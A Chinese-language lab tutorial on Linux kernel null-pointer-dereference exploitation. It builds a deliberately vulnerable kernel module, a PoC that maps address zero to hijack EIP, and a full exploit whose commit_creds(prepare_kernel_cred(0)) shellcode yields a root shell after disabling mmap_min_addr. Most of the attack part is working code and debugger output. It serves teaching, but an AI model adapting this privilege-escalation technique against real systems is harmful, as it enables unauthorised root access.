linux kernel exploitation null dereference

Introduction

空指针解引用产生的问题,利用方法是映射 0 地址,在 0 地址上放置 shellcode 执行。

Bug

查看漏洞代码:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

void (*my_funptr)(void);

int bug1_write(struct file *file, const char *buf, unsigned long len)
{
    my_funptr();
    return len;
}

static int __init null_dereference_init(void)
{
    printk(KERN_ALERT "null_dereference driver init!\n");
    create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;
    return 0;
}

static void __exit null_dereference_exit(void)
{
    printk(KERN_ALERT "null_dereference driver exit\n");
}

module_init(null_dereference_init);
module_exit(null_dereference_exit);

代码中 my_funptr 函数指针未初始化,其值为空 (0x0),调用 my_funptr 即执行 0x0 地址处的指令。

将漏洞代码保存为 null_dereference.c ,创建 Makefile 写入以下内容:

obj-m := null_dereference.o  
KERNELDR := ~/linux_kernel/linux-2.6.32
PWD := $(shell pwd)  
modules:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
        rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

KERNELDR 填写 linux kernel 代码的目录,有空行的前面必须使用 Tab,否则会编译失败。

make 编译完之后将 null_dereference.o 放入 busybox-1.19.4/_install 目录下,重新生成 rootfs.img 文件:

find . | cpio -o --format=newc > ../rootfs.img

Poc

接下来编译 poc

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

char payload[] = "\xe9\xea\xbe\xad\x0b"; // jmp 0xbadbeef

int main() {
    mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));

    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "fanrong", 7);

    return 0;
}

执行:

gcc -static poc.c -o poc

编译之后重新生成一次 rootfs.img

启动 qemu,用 Ctrl+Alt+2 切换到控制台,执行 gdbserver tcp::1234,在本地用 gdb 连接:

gdb-peda$ target remote :1234
Remote debugging using :1234
Warning: not running or target is remote
0xc100955b in ?? ()
gdb-peda$ b *0x0
Breakpoint 1 at 0x0
gdb-peda$ c
Continuing.

再用 Ctrl+Alt+1 切回去,挂载驱动,执行 poc:

# insmod null_dereference.ko
...

# ./poc

gdb 执行到断电 0x0 地址处,查看一下当前指令:


Breakpoint 1, 0x00000000 in ?? ()
gdb-peda$ pdisass $pc
Dump of assembler code from 0x0 to 0x20::	Dump of assembler code from 0x0 to 0x20:
=> 0x00000000:	jmp    0xbadbeef
   0x00000005:	add    BYTE PTR [eax],al
   0x00000007:	add    BYTE PTR [eax],al
   0x00000009:	add    BYTE PTR [eax],al
   0x0000000b:	add    BYTE PTR [eax],al
   0x0000000d:	add    BYTE PTR [eax],al
   0x0000000f:	add    BYTE PTR [eax],al
   0x00000011:	add    BYTE PTR [eax],al
   0x00000013:	add    BYTE PTR [eax],al
   0x00000015:	add    BYTE PTR [eax],al
   0x00000017:	add    BYTE PTR [eax],al
   0x00000019:	add    BYTE PTR [eax],al
   0x0000001b:	add    BYTE PTR [eax],al
   0x0000001d:	add    BYTE PTR [eax],al
   0x0000001f:	add    BYTE PTR [eax],al
End of assembler dump.

成功劫持 eip

Exploit

我们的目标是 root shell,内核并不能直接调用 system("/bin/sh"),但是它可以给予当前进程 root 权限。

commit_creds ( prepare_kernel_cred (0));

获取函数地址:

# grep commit_creds /proc/kallsyms
...

# grep kernel_cred /proc/kallsyms
...

写成 shellcode:

xor %eax, %eax
call 0xc1069be0
call 0xc1069a40
ret

查看其反汇编指令:

# gcc -o payload payload.s -nostdlib -Ttext=0

# objdump -d payload
...
00000000 <.text>:
   0:	31 c0                	xor    %eax,%eax
   2:	e8 d9 9b 06 c1       	call   c1069be0 <_end+0xc1068bd0>
   7:	e8 34 9a 06 c1       	call   c1069a40 <_end+0xc1068a30>
   c:	c3                   	ret    

exploit:

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

char payload[] = "\x31\xc0\xe8\xd9\x9b\x06\xc1\xe8\x34\x9a\x06\xc1\xc3";

int main() {
    mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));

    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "foo", 4);

    system("/bin/sh");
}

运行 exploit 之前先关闭 mmap_min_addr 缓解措施:

# sysctl -w vm.mmap_min_addr="0"

添加普通用户:

# touch /etc/passwd
# touch /etc/group
# mkdir /home
# adduser user
# su user
$

exploit:

/ $ ./exploit
/ # id
uid=0 gid=0
/ #

Reference